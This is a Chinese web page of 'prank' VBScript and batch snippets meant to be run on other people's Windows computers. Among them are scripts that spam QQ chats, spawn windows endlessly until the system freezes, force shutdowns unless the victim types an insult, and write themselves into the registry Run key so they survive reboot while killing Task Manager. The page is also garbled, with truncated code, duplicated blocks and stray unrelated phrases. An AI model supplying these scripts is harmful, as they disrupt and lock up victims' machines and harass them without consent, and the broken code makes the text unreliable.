好玩的整人电脑代码

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

wscript.quit

这个是QQ骚扰信息，也可以用在其它程序上。

把代码里的xx替换成你好友的昵称，代码中的10是发送的次数，可以修改为任何值.

把上面代码复制保存到记事本文件中，更改.txt后缀为.bat

____________________________________________________________________________

这个是QQ骚扰信息，也可以用在其它程序上。

把代码里的xx替换成你好友的昵称，代码中的10是发送的次数，可以修改为任何值.

把上面代码复制保存到记事本文件中，更改.txt后缀为.bat

_______________________________________________________________________________

CreateObject("SAPI.SpVoice").Speak "i love you"

送给你女朋友她会高兴地

__________________________________________________________

set wsh=createobject("wscript.shell")

wsh.run "calc"

loop

斗鱼寅子这段代码是打开无数个计算器，直到死机，也是保存为.vbs格式

_____________________________________________________________

while(1)

msgbox "哈哈你被耍了！"

loop

这段代码就比较坏了，一直弹出窗口显示"哈哈，你被刷了!"要是你不会结束它，只好重启电脑了,

也是保存为.vbs格式

______________________________________________________________________________________________

while(1)

msgbox "哈哈你被耍了！"

loop

这段代码就比较坏了，一直弹出窗口显示"哈哈，你被刷了!"要是你不会结束它，只好重启电脑了,

也是保存为.vbs格式

___________________________________________________________________________________

while(1)

msgbox "哈哈你被耍了！"

loop

陈伟霆阿sa

这段代码就比较坏了，一直弹出窗口显示"哈哈，你被刷了!"要是你不会结束它，只好重启电脑了,

也是保存为.vbs格式

___________________________________________________________________________________________

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

WScript.Echo("你是可爱的小朋吗?")

及物动词和不及物动词的区别

WScript.Echo("哈，我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我") 我的中国梦演讲稿

WScript.Echo("哼，我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。")

WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.E

cho("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！")

WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！")

WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

____________________________________________________________

on error resume next

dim WSHshellA

set WSHshellA = ateobject("wscript.shell")

WSHshellA.run " /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪，就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = ateobject("wscript.shell")

WSHshell.run "cmd.

exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

这个运行后必须输入我是猪(当然你也可以改成别的，把代码中所有的我是猪换成你想改的,

比如说我爱XXX之类的，大家懂的 )，如果一分钟没输入我是猪，就会关机.也改成.vbs

__________________________________________________________________________________________

dim sh,str,a,i

set sh=createobject("wscript.shell")

sh.run "notepad" '打开记事本

do while sh.appactivate("无标题 - 记事本")=false

wscript.sleep 1000

loop

str="wokao1!ni1youmeiyou1gaocuo1!" '这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。

'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)

'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1

sh.sendkeys "^ "

'解释上一行：呼唤中文输入法

for i=0 to len(str)-1

a=mid(str,i+1,1)

sh.sendkeys a '发送虚拟按键

wscript.sleep 500 '打字速度。数值越小越快。

save=1 '如想保存则写1

if save=1 then

sh.sendkeys "^ "

'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。

sh.sendkeys "^s"

wscript.sleep 300

sh.sendkeys "c:\" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭

wscript.sleep 100

sh.sendkeys "{Enter}"

end if

这个会自动打开笔记本，自己写字，怎么样?是不是有贞子爬到你电脑里的感觉?也是保存为.vbs格式

______________________________________________________________________________________________

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_

if Ucase(ps.name)=Ucase("") then

end if

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_

if Ucase(ps.name)=Ucase("") then

end if

Set ws=CreateObject("WScript.Shell")

set fs=createobject("scripting.filesystemobject")

dim a1,a2,a3,thn,i

thn=wscript.scriptfullname

parentfoldername(fs.GetSpecialFolder(0))

do while i<10

i=i+1

ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"

loop

ws.run "shutdown -s -f -t 60"

wscript.sleep 500

if ws.appactivate("Windows 任务管理器")=true then

ws.run "taskkill /f /"

end if

if ws.appactivate("命令提示符")=true then

ws.run "taskkill /f /"

end if

if ws.appactivate("C:\WINDOWS\")=true then

ws.run "taskkill /f /"

end if

if ws.appactivate("系统关机")=false then

ws.run "shutdown -s -f -t 30"

end if

loop

蓝屏代码

___________________________________________________________

Set sh=CreateObject("WScript.Shell")

dim i,s,z,thn

z=array(4,5,16,32,48,64)

i=0

s=1

do while i<

i=i+1

sh.run wscript.scriptfullname

loop

s=s+1

i=0

randomize

wscript.sleep int(rnd()*100)

msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"

thn=wscript.scriptfullname

sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn

loop

胆子大的可以运行看看，嘿嘿，改成.vbs格式

cpu飙到100%，死机的。，强行关机都没反映，直接拔电源的，

之后重新打开电脑还是在继续开窗口，cao，一直到2000多的窗口，完全没办法动鼠标的，你妹的，这是坑人，

属羊人的婚姻与命运

_____________________________________________________________________________________________________

createobject("wscript.shell").run wscript.scriptfullname

loop

别小看这三行，你可以运行试试，让你五秒内死机，十秒内鼠标不能动！

______________________________________________________________

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪，否则后果自负，快输""我是猪"" ","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去，不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

关于老师的成语MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws. new.qzone.qq/********/infocenter"

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws. /c shutdown -r -t 60 -c",0

case 2

ws. /c shutdown -a",0

end select

end sub

记得把********换成你的qq号

=============================================================

好玩的整人电脑代码

发布评论取消回复

最近发表

热门文章

标签列表